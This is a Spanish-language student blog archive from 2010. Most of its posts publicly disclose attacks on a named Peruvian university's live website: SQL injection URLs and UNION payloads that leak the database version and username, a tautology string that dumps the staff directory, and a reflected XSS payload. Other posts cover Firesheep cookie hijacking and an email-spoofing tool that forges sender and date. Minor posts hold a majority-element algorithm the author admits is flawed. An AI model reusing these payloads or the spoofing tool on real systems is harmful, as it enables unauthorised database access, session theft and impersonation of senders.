domingo, 31 de octubre de 2010

Multiples vulnerabilidades en www.unmsm.edu.pe

Hace unos días publiqué un par de vulnerabilidades SQLi en paginas de la universidad. Pues parece que la lista va a seguir creciendo xD

Buscando un poco encontré un par de nuevas URLs que permiten incluir código SQL en las consultas:

http://www.unmsm.edu.pe/index.php?a=mas&tipo=' [SQLi]
http://www.unmsm.edu.pe/nts.php?id=' [SQLi]

Con la ultima se pueden hacer algunas cosas interesantes, por ejemplo se puede obtener la versión del MySQL:

http://www.unmsm.edu.pe/nts.php?id=-1' UNION SELECT 1,2,3,4,5,VERSION() FROM entradas WHERE ''='

En la salida podremos observar que la versión es "5.0.45" xD

Otra cosa que podemos hacer es averiguar el username de la base de datos. Para ello generaremos un error de falta de privilegios };]

http://www.unmsm.edu.pe/nts.php?id=-1' UNION SELECT 1,2,3,4,5,6 FROM mysql.user WHERE ''='

Salida:

Error DBselectAllWhere.[SELECT titulo,ID,intro,hora,imagen,fecha_inicio FROM entradas WHERE tipo='Nota' AND estado=1 AND ID='-1' UNION SELECT 1,2,3,4,5,6 FROM mysql.user WHERE ''='' ORDER BY fecha_inicio desc, hora desc limit 0,7] MYSQL dice : SELECT command denied to user 'rrpp'@'localhost' for table 'user'

Se puede observar que el nombre del usuario es "rrpp" :]

También encontramos una vulnerabilidad XSS indirecta. Ya antes habíamos encontrado algo así en el buscador de la biblioteca.

http://alguienenlafisi.blogspot.com/2009/12/vulnerabilidad-xss-en-el-sistema-de.html

La URL del XSS es:

http://www.unmsm.edu.pe/?url="[XSS]

Por ejemplo:

http://www.unmsm.edu.pe/?url="<script>alert('XSS by Alguien xD')</script>

Esto es todo por ahora, quizá luego sigan apareciendo mas bugs...

Hasta pronto y no hagan travesuras xD

Todo lo explicado aquí es solo con fines didácticos. El autor no se hace responsable por el uso que se le pueda dar a esta información.

sábado, 30 de octubre de 2010

Elemento mayoritario (solución lineal para n par)

El elemento mayoritario de un vector se define como el elemento que pertenece al vector y que se repite más de n/2 veces; donde n es el numero de elementos del vector.

El problema consiste en determinar si un vector tiene o no un elemento mayoritario y si lo tuviera decir cual es.

En internet podemos encontrar soluciones de orden asintótico O(n²) y O(n log n) para este problema. Sin embargo ¿Se podrá resolver de forma más eficiente?

La solución que presentare a continuación resuelve parcialmente este problema pues solo funciona correctamente cuando el numero de elementos del vector es par. El orden asintótico de esta solución es O(2n), es decir, es de tiempo lineal.

Básicamente lo que hace este algoritmo es, en un primer recorrido, buscar un candidato que pudiera ser el elemento mayoritario. Y con un segundo recorrido determinar si ese candidato efectivamente es el elemento mayoritario. Si no lo fuera entonces el vector no tiene un elemento mayoritario.

Para buscar el candidato partimos de la condición de que el elemento mayoritario debe aparecer repetido mas de n/2 veces en el vector. Esto se traduce a que, cuando n es un numero par, al menos una vez el elemento mayoritario debe aparecer en posiciones consecutivas. Por lo tanto el candidato sera el elemento que aparezca mas veces de forma consecutiva. Esto puede lograrse en un solo recorrido del vector.

Finalmente, con un segundo recorrido se cuenta cuantas veces se repite el candidato y si es mayor a n/2 se concluye que ese es el elemento mayoritario. Si no lo fuera se puede concluir que el vector no tiene ningún elemento mayoritario.

La implementación del algoritmo en C++:

/*
Problema del elemento mayoritario (solucion lineal para n par)
Por: Alguien
Fecha: Jueves 28 de octubre del 2010
*/

#include <stdio.h>
#include <stdlib.h>

bool buscar(int *v, int n, int *may);

int main() {
 int *v, n;
 printf("n = ");
 scanf("%d", &n);
 if(n%2 != 0) {
  printf("n debe ser par.\n");
  return -1;
 }
 v = new int[n];
 for(int i=0; i<n; i++) {
  printf("v[%d] = ", i);
  scanf("%d", &v[i]);
 }
 
 int may=0;
 if(buscar(v, n, &may))
  printf("mayoritario = %d\n", may);
 else
  printf("no hay elemento mayoritario.\n");
 return 0;
}

bool buscar(int *v, int n, int *may) {
 //busqueda
 int rep=1, mrep=rep, ant=v[0];
 for(int i=1; i<n; i++) {
  if(v[i] == ant) {
   if(++rep > mrep) {
    *may = v[i];
    mrep = rep;
   }
  } else {
   ant = v[i];
   rep = 1;
  }
 }

 //Comprovacion
 rep = 0;
 for(int i=0; i<n; i++)
  if(v[i] == *may)
   rep++;
   
 //respuesta
 if(rep > n/2)
  return true;
 return false;
}

Saludos.

Actualización:

Este algoritmo falla para algunos casos. Ver otra propuesta en:

http://alguienenlafisi.blogspot.com/2010/11/elemento-mayoritario-solucion-lineal.html

Ordenamiento por mezcla - MergeSort

MergeSort es un algoritmo de ordenamiento basado en la estrategia "divide y vencerás". Su orden asintótico es O(n log n), mucho mas eficiente que otros algoritmos de ordenamiento como burbuja, inserción o selección que son de orden cuadrático.

Hackear cuenta facebook con un solo click, ¿BROMA?

Hace unos días, leyendo noticias de informática me entere de un plugin para firefox llamado Firesheep que es capaz de hacerse con las cookies de sesión de los usuarios de una red wifi. Se presentó el plugin Firesheep en el ToorCon (una conferencia Hacker en San Diego, Estados Unidos) para demostrar lo frágil que es nuestra seguridad en la red cuando navegamos por nuestras cuentas de las redes sociales como facebook, twitter, google.

Esta herramienta creada por Eric Butler esta sonando fuerte esta ultima semana. Ustedes se preguntaran como funciona? Pues bien, todos sabemos que cuando vistamos una web como hotmail, yahoo o nuestro amado facebook inicialmente debemos logearnos como verdaderos dueños de nuestra cuenta. Siempre que nos validamos usamos el protocolo https, que es un protocolo inicialmente basado en http, la diferencia que https es la mejora de este y esta destinado a la transferencia segura de hipertexto usando algoritmos de encriptación y es de uso comun para webs que realizan transacciones de dinero online, como bancos, ebay, etc.

¿Pero que pasa una vez que se valida con este protocolo? El resto es pura navegación bajo el protocolo http. ¿Porque pasa esto? porque cuando la información se encripta con el https, se consume en cierto grado mas ancho banda que hacerlo con http. Firesheep se aprovecha de esto. Lo que hace este complemento de firefox es utilizar un sniffer y demostrar que solo se cifra el proceso de entrada y no la cokies creadas a partir de ella, y así secuestrando la cookie poder iniciar sesión como usuario legitimo. Es por eso que ahora gmail opto por usar https todo el tiempo.

Así que lo unico que deben hacer es instalar el plugin en su navegador firefox, pulsar “Start Capturing” y listo, esperar que un pececillo muerda el anzuelo. Pero están advertidos que el uso de este plugin con fines maliciosos es un acto ilegal. Así que usenlo bajo su propia responsabilidad.


Tengan cuidado cuando naveguen por wifi en las redes publicas (Eso no quiere decir que el cableado es seguro), tengan cuidado con el vecino, a ese que le roban la wifi por no pagar la suya propia, o viceversa, si alguien se cuela en su señal, les aseguro que los espía.




viernes, 29 de octubre de 2010

Y siguen los SQLi

Si... otro SQLi en una web de la universidad. Esta vez en la pagina principal:

http://www.unmsm.edu.pe

Para encontrar el SQLi utilice una de las mas grandes herramientas de hackers jamas creadas: Google.

En Google ponemos:

site:www.unmsm.edu.pe inurl:id

Y nos saldrán resultados como este:

http://www.unmsm.edu.pe/?id=1193

Que si entramos nos mostrara alguna noticia. Pues bien, las noticias de la web están almacenadas en una base de datos y el numero 1193 es en este caso el identificador de la noticia dentro de la base de datos. Por lo que para obtener la noticia, se concatenara en la orden SQL ese numero.

Lo que haremos sera simplemente cambiar el numero que aparece en "id" por una comilla simple ( ' ) :

http://www.unmsm.edu.pe/?id='

Y...

Error DBselectAllWhere.[SELECT titulo,ID,contenido,volada,gorro,fecha_inicio,gorro_autor FROM entradas WHERE ID=''' AND estado=1 ORDER BY fecha_inicio desc, hora desc] MYSQL dice : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND estado=1 ORDER BY fecha_inicio desc, hora desc' at line 1

Ahí lo tenemos, un error de sintaxis xD

Incluso se puede ver la orden completa y el nombre de la tabla:

SELECT titulo,ID,contenido,volada,gorro,fecha_inicio,gorro_autor FROM entradas WHERE ID=''' AND estado=1 ORDER BY fecha_inicio desc, hora desc

Es todo por ahora...

Actualización:

Revisando un poco más encontre otras URLs donde se puede inyectar SQL:

http://www.unmsm.edu.pe/?a=mas&tipo='
http://www.unmsm.edu.pe/nts.php?id='

Saludos.

Todo lo explicado aquí es solo con fines didácticos. El autor no se hace responsable por el uso que se le pueda dar a esta información.

jueves, 28 de octubre de 2010

SQL injection en VICUS

Hola a todos... ya sé que estamos en parciales... y debería estar estudiando... no me critiquen por eso. Sucede que es en esos momentos cuando no debería que me pasan cosas que no puedo evitar.

¿Alguna vez visitaron el directorio de la universidad? ¿No? Bueno yo lo acabo de conocer. Es una pagina donde puedes buscar el numero de anexo de las diferentes oficinas de toda la universidad. La dirección es:

http://vicus.unmsm.edu.pe/

A mi me parece muy útil. Pero bien de lo que se trata este post es de una vulnerabilidad SQL injection en este sistema de búsqueda.

SQL injection es un tipo de vulnerabilidad que permite insertar instrucciones SQL en las consultas que hace una aplicación a la base de datos, modificando de esta manera las respuestas de la base de datos y/o el comportamiento de la aplicación.

La razón por la que se puede hacer esto es por que las aplicaciones concatenan parámetros que reciben del usuario con trozos de instrucciones SQL a fin de formar la sentencia completa sin validar que estos parámetros no contengan caracteres especiales que modifiquen la semántica de la orden SQL.

Bien al grano... si en el campo "Nombre" del buscador ponemos una comilla simple ( ' ) y damos clic a buscar nos tirara un error donde se puede leer:

Tipo de error:
Microsoft JET Database Engine (0x80040E14)
Error de sintaxis en la expresión de consulta '(anexo like '%') and (Nombre like ''%') order by Apellido'.
/resultado.asp, line 39

Hay un error de sintaxis por que sobra una comilla en (Nombre like ''%'). Lo que hace esta comparacion es buscar los registros donde el campo Nombre contenga (no necesariamente sea igual) el nombre que pasamos por parámetro. Ahora bien, si logramos generar una tautología con el nombre (que la condición sea siempre verdadera) podremos listar todos los registros de la tabla xD.

Para ello en "Nombre" pondremos:

%' or 'a' like '

¡Ahora clic en buscar y ya debes estar viendo todos los registros!

Algunas otras cosas se podrían hacer también con un poco de imaginación...

Hasta pronto.

Todo lo explicado aquí es solo con fines didácticos. El autor no se hace responsable por el uso que se le pueda dar a esta información.

domingo, 17 de octubre de 2010

Para algo tenia que servir...

Alguna vez me pregunte para que seguirá existiendo el archivo "hosts" en los sistemas operativos. Si los únicos que lo usan son los virus para hacer phishing a paginas de bancos y tiendas por internet. Bueno... hoy este cuestionado archivo salvo el día xD.

Ya te habrás dado cuenta que no se puede acceder a la pagina de la facultad. Al parecer por motivos administrativos y problemas de la facultad que desconozco totalmente hemos perdido temporalmente el dominio "sistemas.edu.pe". Esto significa que el DNS que resolvía el dominio a la IP correspondiente simplemente dejo de hacer esto y por lo tanto no podemos conectarnos a la pagina de la facultad. ¡Y es que si no tenemos la IP a donde nos vamos a conectar!

Si solo quieres ver la solución saltate toda esta parrafada y busca mas abajo en el apartado "Solucion".

Como han de saber, la pagina esta alojada en un host de USA. Este servidor aloja además de la nuestra muchísimas otras paginas web. Todas ellas están en la misma IP y puerto. Pregunta: ¿Como es posible entonces entrar a un sitio web especifico si todos comparten la IP y el puerto? Respuesta: usando hosts virtuales. Bueno ese rollo se configura en el servidor. Cada sitio web tiene un directorio home diferente donde están todos los archivos del sitio. Luego se asocia ese home con el nombre de dominio de cada sitio y listo. Cuando nuestro navegador se conecte al servidor enviara en las cabeceras del HTTP una cabecera llamada "Host" que indica nombre de dominio del sitio. Así el servidor sabrá a que sitio quieres acceder y buscara en el home correspondiente la pagina de inicio del sitio.

Bueno de todo lo anterior lo que importa es que podemos averiguar la IP del servidor que tiene la pagina de sistemas si conocemos alguna otra pagina que este alojada en el mismo servidor. Pues como dije antes... todas comparten la misma IP y puerto. Yo ya lo hice y la IP del servidor es "174.132.78.156".

Luego solo tendríamos que conseguirnos un servidor DNS que muy amablemente quiera resolver el dominio "sistemas.edu.pe" a "174.132.78.156" o nos montamos un DNS en localhost con Bind9 o usamos el archivo hosts. Creo que la ultima opción es mas rápida y sencilla.

Para quien no se ha enterado, el archivo hosts es un archivo del sistema operativo que sirve para hacer una primera asociación entre nombre de dominio e IP. Si no se encuentra la asociación ahí se usaran los DNS.

Solucion.

Bien pues lo que tenemos que hacer para poder entrar a la pagina de sistemas es esto:

1. Abrimos el archivo hosts con el blog de notas. La ubicación del archivo puede variar de acuerdo a nuestro sistema operativo como muestra la siguiente tabla:

Windows 95/98/Me C:\Windows\hosts
Windows NT/2000 C:\WINNT\System32\drivers\etc\hosts
Windows XP/2003/Vista/7 C:\Windows\System32\drivers\etc\hosts
Mac OS/iPhone OS /private/etc/hosts
Unix/Linux/BSD /etc/hosts
Novell NetWare SYS:etc\hosts
OS/2/eComStation "bootdrive":\mptn\etc\
BeOS /boot/beos/etc/hosts
Symbian OS 6.1-9.0 C:\system\data\hosts
Symbian OS 9.1+ C:\private\10000882\hosts

(Sacado de http://es.wikipedia.org/wiki/Archivo_hosts)

2. Al final de todo lo que esta escrito en este archivo (si no esta escrito nada no hay problema) y en una nueva linea escribimos:

174.132.78.156 sistemas.edu.pe
174.132.78.156 www.sistemas.edu.pe


3. Guardamos y cerramos el blog de notas. Ahora, si todo va bien, ya deberíamos poder entrar a la pagina de la facultad.

Acuerdate de borrar o dejar comentadas ese par de lineas cuando la facultad haya solucionado el problema del dominio.

Para terminar quiero añadir que este archivo frecuentemente es modificado por los virus para hacer falsas asociaciones y redirigir nuestro navegador a paginas falsificadas de sitios bancarios o tiendas en linea con el objetivo de robar nuestras credenciales. Por ello cuando sospechen que se les ha metido un virus podrían confirmarlo revisando si hay algo raro en este archivo.

Saludos y hasta pronto.

Todo lo explicado aquí es solo con fines didácticos. El autor no se hace responsable por el uso que se le pueda dar a esta información.

miércoles, 6 de octubre de 2010

SMailer 1.0

Hola, hace unos días andaba algo aburrido y se me ocurrió automatizar el envío de correo anónimo usando el SMTP de San Marcos. Ya antes se habia hablado de esta posibilidad:

http://alguienenlafisi.blogspot.com/2010/01/enviar-mails-anonimos.html

Así que me puse a programar y cree el SMailer 1.0 (SM por San Marcos xD) Este programa sirve para enviar correo anónimo a cuentas del dominio unmsm.edu.pe, es decir, que terminen en "@unmsm.edu.pe". Pero si te conectas desde la intranet de telematica se puede enviar correos a cualquier dominio xD. También permite falsificar la dirección del remitente y la fecha del mensaje. En alguna próxima versión pondré la opción para enviar archivos adjuntos (si los envías con fecha falsificada todos tus trabajos llegaran a tiempo xD).

Bueno sin más dejo el link de descarga:

http://www.megaupload.com/?d=0HRST5CW

La descarga es el proyecto completo en netbeans, incluye codigo fuente y eres totalmete libre de revisarlo y modificarlo si quieres.

Espero que les guste y naa.. hasta luego.

Todo lo explicado aquí es solo con fines didácticos. El autor no se hace responsable por el uso que se le pueda dar a esta información.